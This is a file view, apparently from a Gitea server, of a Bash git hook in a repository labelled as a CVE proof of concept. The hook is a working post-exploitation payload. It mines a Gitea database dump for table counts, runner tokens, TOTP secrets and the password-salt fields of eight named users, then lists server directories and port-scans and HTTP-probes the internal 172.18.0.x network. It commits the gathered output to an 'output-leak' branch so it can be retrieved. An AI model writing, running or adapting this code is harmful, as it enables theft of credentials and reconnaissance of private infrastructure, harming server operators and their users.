Files
poc-cve-57910787/hooks/post-index-change
2026-11-25 01:05:39 +03:00

30 lines
2.2 KiB
Bash
Executable File

#!/bin/sh
GD=$(git rev-parse --absolute-git-dir)
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
OUT=$( {
S=/data/gitea/tmp/gd.sql
echo "---TABLES---"; grep -o 'CREATE TABLE IF NOT EXISTS [^ (]*' $S | awk '{print $6}' | tr -d '"' | sort | tr '\n' ' '; echo
echo "---COUNTS---"; for t in package package_version package_file package_property package_blob attachment lfs_object action_runner action_runner_token action_artifact action_run action_run_job action_task action_schedule login_source u2f_registration totp_secret hook_task webhook; do c=$(grep -c "INSERT INTO \"$t\"" $S); [ "$c" != "0" ] && echo "$t=$c"; done
echo "---SALTS---"
for name in admin ibatukhtin denisova.anna perekrestov.alexey reznik.daniil molchanov.artyom boldyrev.aleksey kabishev.andrey; do
line=$(grep 'INSERT INTO "user"' $S | grep -F ",'$name',")
q=$(echo "$line" | grep -o "'[^']*'")
echo "$name|$(echo "$q" | sed -n '12p')"
done
echo "---DIRS---"; hostname -i 2>/dev/null
ls /data/gitea; echo ...
du -sh /data/gitea/attachments /data/gitea/packages /data/git/lfs 2>/dev/null
ls /data/gitea/attachments 2>/dev/null | head -6
find /data/gitea/packages -maxdepth 3 2>/dev/null | head -15
echo "---NETSCAN---"
for i in 1 2 3 4 5 6 7 8 9 10; do for p in 22 80 443 3000 3001 5432 6379 8080 9000; do (echo >/dev/tcp/172.18.0.$i/$p) >/dev/null 2>&1 && echo "172.18.0.$i:$p OPEN"; done; done
echo "---HTTPPROBE---"
for hp in "172.18.0.1 80" "172.18.0.1 3000" "172.18.0.1 443" "172.18.0.2 80" "172.18.0.2 3000" "172.18.0.2 5432" "172.18.0.3 80" "172.18.0.3 3000" "172.18.0.4 80" "172.18.0.4 3000" "172.18.0.5 5432" "172.18.0.5 3000" "172.18.0.6 80" "172.18.0.6 3000" "172.18.0.7 80" "172.18.0.7 3000"; do set -- $hp; o=$(curl -s -m 2 -o /dev/null -w "%{http_code}|%{content_type}" http://$1:$2/ 2>/dev/null); [ -n "$o" ] && echo "$1:$2 => $o"; done
echo DONE
} 2>&1; echo "[rc=$?]")
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"